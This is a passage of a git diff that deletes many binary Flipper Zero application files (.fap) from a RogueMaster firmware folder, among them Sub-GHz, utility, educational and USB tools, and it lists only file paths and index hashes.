a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/esubghz_chat.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/fmf_to_sub.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/fmf_to_sub.fap deleted file mode 100644 index aa2e35dd3..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/fmf_to_sub.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/freq_analyzer_ext.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/freq_analyzer_ext.fap deleted file mode 100644 index a5c5c5abb..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/freq_analyzer_ext.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/genie_record.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/genie_record.fap deleted file mode 100644 index ab57ddefd..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/genie_record.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/marmalade_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/marmalade_app.fap deleted file mode 100644 index b6fba078f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/marmalade_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/meal_pager.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/meal_pager.fap deleted file mode 100644 index 2ce545b74..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/meal_pager.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/pocsag_pager.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/pocsag_pager.fap deleted file mode 100644 index c74e7873b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/pocsag_pager.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/protoview.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/protoview.fap deleted file mode 100644 index 60a99db86..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/protoview.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/radio_scanner.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/radio_scanner.fap deleted file mode 100644 index 1e573566a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/radio_scanner.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/rolling_flaws.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/rolling_flaws.fap deleted file mode 100644 index 27aae2554..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/rolling_flaws.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/shapshup.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/shapshup.fap deleted file mode 100644 index d632a05d7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/shapshup.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/spectrum_analyzer.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/spectrum_analyzer.fap deleted file mode 100644 index 10e8346bb..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/spectrum_analyzer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_bruteforcer.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_bruteforcer.fap deleted file mode 100644 index db8fbaae4..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_bruteforcer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_fap.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_fap.fap deleted file mode 100644 index f642e2501..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_fap.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_playlist.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_playlist.fap deleted file mode 100644 index ed1019648..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_playlist.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap deleted file mode 100644 index 0e4b49006..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_remote_refactored.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_scheduler.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_scheduler.fap deleted file mode 100644 index b6a81538c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_scheduler.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_test.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_test.fap deleted file mode 100644 index d9c6a09bd..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/subghz_test.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/tpms.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/tpms.fap deleted file mode 100644 index 127cf05b9..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/tpms.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/weather_station.fap b/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/weather_station.fap deleted file mode 100644 index 90a1222e7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Sub-GHz/weather_station.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/c_book.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/c_book.fap deleted file mode 100644 index 64a54a0ed..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/c_book.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/crypto_dict.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/crypto_dict.fap deleted file mode 100644 index 12a328773..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/crypto_dict.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/extra_demo.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/extra_demo.fap deleted file mode 100644 index 2825520fc..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/extra_demo.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/fap_boilerplate.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/fap_boilerplate.fap deleted file mode 100644 index ee27f0fdc..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/fap_boilerplate.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipper_ascii.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipper_ascii.fap deleted file mode 100644 index 75a7171bf..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipper_ascii.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipperdoc.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipperdoc.fap deleted file mode 100644 index 674148b14..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/flipperdoc.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/plugin_demo.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/plugin_demo.fap deleted file mode 100644 index 0e793f725..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/Educational/plugin_demo.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/air_level.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/air_level.fap deleted file mode 100644 index d0e0f6d6f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/air_level.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/analog_clock.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/analog_clock.fap deleted file mode 100644 index 1cc270d62..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/analog_clock.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/barcode_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/barcode_app.fap deleted file mode 100644 index bafbebee3..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/barcode_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/bgloader.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/bgloader.fap deleted file mode 100644 index e36b60a06..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/bgloader.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/blackjack_counter.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/blackjack_counter.fap deleted file mode 100644 index 34ba1c533..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/blackjack_counter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/blinker.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/blinker.fap deleted file mode 100644 index 747d79f0c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/blinker.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/brainfuck.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/brainfuck.fap deleted file mode 100644 index 1df4fed74..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/brainfuck.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/caesar_cipher.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/caesar_cipher.fap deleted file mode 100644 index 295fe1daa..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/caesar_cipher.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/calculator.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/calculator.fap deleted file mode 100644 index ab423609c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/calculator.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/calendar.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/calendar.fap deleted file mode 100644 index 45017cca8..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/calendar.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/chronometer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/chronometer.fap deleted file mode 100644 index f0d9b875d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/chronometer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/cli_gui.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/cli_gui.fap deleted file mode 100644 index c2c76d29c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/cli_gui.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/clockv1.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/clockv1.fap deleted file mode 100644 index 91a8eb691..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/clockv1.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/count_down_timer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/count_down_timer.fap deleted file mode 100644 index 3f86deb3f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/count_down_timer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/counter.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/counter.fap deleted file mode 100644 index b3cea9f95..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/counter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/device_info.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/device_info.fap deleted file mode 100644 index 2572e8ca7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/device_info.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/dtmf_dolphin.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/dtmf_dolphin.fap deleted file mode 100644 index 7d81e726c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/dtmf_dolphin.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/enigma.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/enigma.fap deleted file mode 100644 index 282280807..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/enigma.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/f0forth.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/f0forth.fap deleted file mode 100644 index e5071f427..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/f0forth.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/fast_js_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/fast_js_app.fap deleted file mode 100644 index 5270776db..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/fast_js_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/financial_calc.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/financial_calc.fap deleted file mode 100644 index 630af3597..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/financial_calc.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipbip.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipbip.fap deleted file mode 100644 index 978d75cd2..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipbip.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper95.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper95.fap deleted file mode 100644 index 85e5c1221..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper95.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper_aid.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper_aid.fap deleted file mode 100644 index b3dd89d21..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipper_aid.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipperzero_clock.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/flipperzero_clock.fap deleted file mode 100644 index 2463d01b2..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/flipperzero_clock.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/fordradiocode.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/fordradiocode.fap deleted file mode 100644 index b3020cc28..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/fordradiocode.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/gnomishtool.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/gnomishtool.fap deleted file mode 100644 index 0d971b6ca..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/gnomishtool.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_editor.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_editor.fap deleted file mode 100644 index 5c3f95fa9..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_editor.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_viewer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_viewer.fap deleted file mode 100644 index cd1c4f722..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/hex_viewer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/id_card.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/id_card.fap deleted file mode 100644 index 305375f82..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/id_card.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/key_copier.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/key_copier.fap deleted file mode 100644 index b703590b4..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/key_copier.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/led_pulsator.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/led_pulsator.fap deleted file mode 100644 index 126e9b093..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/led_pulsator.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/lishi.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/lishi.fap deleted file mode 100644 index f9a68d296..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/lishi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/math_wiz.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/math_wiz.fap deleted file mode 100644 index 7246c6022..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/math_wiz.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/multi_converter.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/multi_converter.fap deleted file mode 100644 index 98b3cacf8..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/multi_converter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/nightstandclock.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/nightstandclock.fap deleted file mode 100644 index 6fa5f44cf..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/nightstandclock.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/notes.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/notes.fap deleted file mode 100644 index 7a04268c8..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/notes.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/orgasmotron.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/orgasmotron.fap deleted file mode 100644 index ee421212c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/orgasmotron.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/password_generator.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/password_generator.fap deleted file mode 100644 index ae1d38c0e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/password_generator.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/pet_a_dolphin.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/pet_a_dolphin.fap deleted file mode 100644 index e2ef55115..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/pet_a_dolphin.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/pet_your_dolphin.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/pet_your_dolphin.fap deleted file mode 100644 index 60d124d98..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/pet_your_dolphin.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro2.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro2.fap deleted file mode 100644 index 7b3617340..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro2.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro_timer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro_timer.fap deleted file mode 100644 index 5ff734381..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/pomodoro_timer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/programmercalc.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/programmercalc.fap deleted file mode 100644 index 19437ad8a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/programmercalc.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/qrcode.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/qrcode.fap deleted file mode 100644 index fa7a0fa8a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/qrcode.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/quac.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/quac.fap deleted file mode 100644 index 8b1b8978a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/quac.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/resistance_calculator.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/resistance_calculator.fap deleted file mode 100644 index 5bf3dfb6c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/resistance_calculator.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/roman_decoder.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/roman_decoder.fap deleted file mode 100644 index f73f673fd..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/roman_decoder.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/rot13.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/rot13.fap deleted file mode 100644 index c4c290078..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/rot13.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/skeleton_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/skeleton_app.fap deleted file mode 100644 index a4cc44df5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/skeleton_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/smartra.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/smartra.fap deleted file mode 100644 index cf081c1f5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/smartra.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/tasks.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/tasks.fap deleted file mode 100644 index 79ee52acf..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/tasks.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/techart_calendar.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/techart_calendar.fap deleted file mode 100644 index 71925ddb1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/techart_calendar.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/text_viewer.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/text_viewer.fap deleted file mode 100644 index 6139f275f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/text_viewer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/time_tracker.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/time_tracker.fap deleted file mode 100644 index 75289e484..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/time_tracker.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/timer_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/timer_app.fap deleted file mode 100644 index 719efa282..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/timer_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/tone_gen.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/tone_gen.fap deleted file mode 100644 index 708ef1e5b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/tone_gen.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/totp.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/totp.fap deleted file mode 100644 index 594dc5c9c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/totp.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/upython.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/upython.fap deleted file mode 100644 index 6d76e9731..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/upython.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/vin_decoder.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/vin_decoder.fap deleted file mode 100644 index 4248861b5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/vin_decoder.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/voltcalc_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/voltcalc_app.fap deleted file mode 100644 index 02612c781..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/voltcalc_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Tools/voyah_pass.fap b/Applications/Custom (UL, RM)/RogueMaster/Tools/voyah_pass.fap deleted file mode 100644 index 56fd510c9..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Tools/voyah_pass.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/bad_kb.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/bad_kb.fap deleted file mode 100644 index b64cfd091..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/bad_kb.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/bad_usb.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/bad_usb.fap deleted file mode 100644 index a37cefc15..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/bad_usb.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/barcode_scannere.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/barcode_scannere.fap deleted file mode 100644 index c4a081b76..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/barcode_scannere.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/clippy.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/clippy.fap deleted file mode 100644 index f7aac84cb..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/clippy.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/flip_tdi.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/flip_tdi.fap deleted file mode 100644 index b319c359b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/flip_tdi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/hid_usb.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/hid_usb.fap deleted file mode 100644 index 9d64265a3..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/hid_usb.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/hidtransfer.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/hidtransfer.fap deleted file mode 100644 index aa1108f21..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/hidtransfer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/mass_storage.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/mass_storage.fap deleted file mode 100644 index 64ba7b0eb..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/mass_storage.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/mousejiggler.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/mousejiggler.fap deleted file mode 100644 index be0c506b9..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/mousejiggler.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/mtp.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/mtp.fap deleted file mode 100644 index e9b4df905..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/mtp.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/portal_of_flipper.fap b/Applications/Custom (UL, RM)/RogueMaster/USB/portal_of_flipper.fap deleted file mode 100644 index aeabfadc7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/USB/portal_of_flipper.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/USB/u2f.fap b/Applications/Custom (UL, 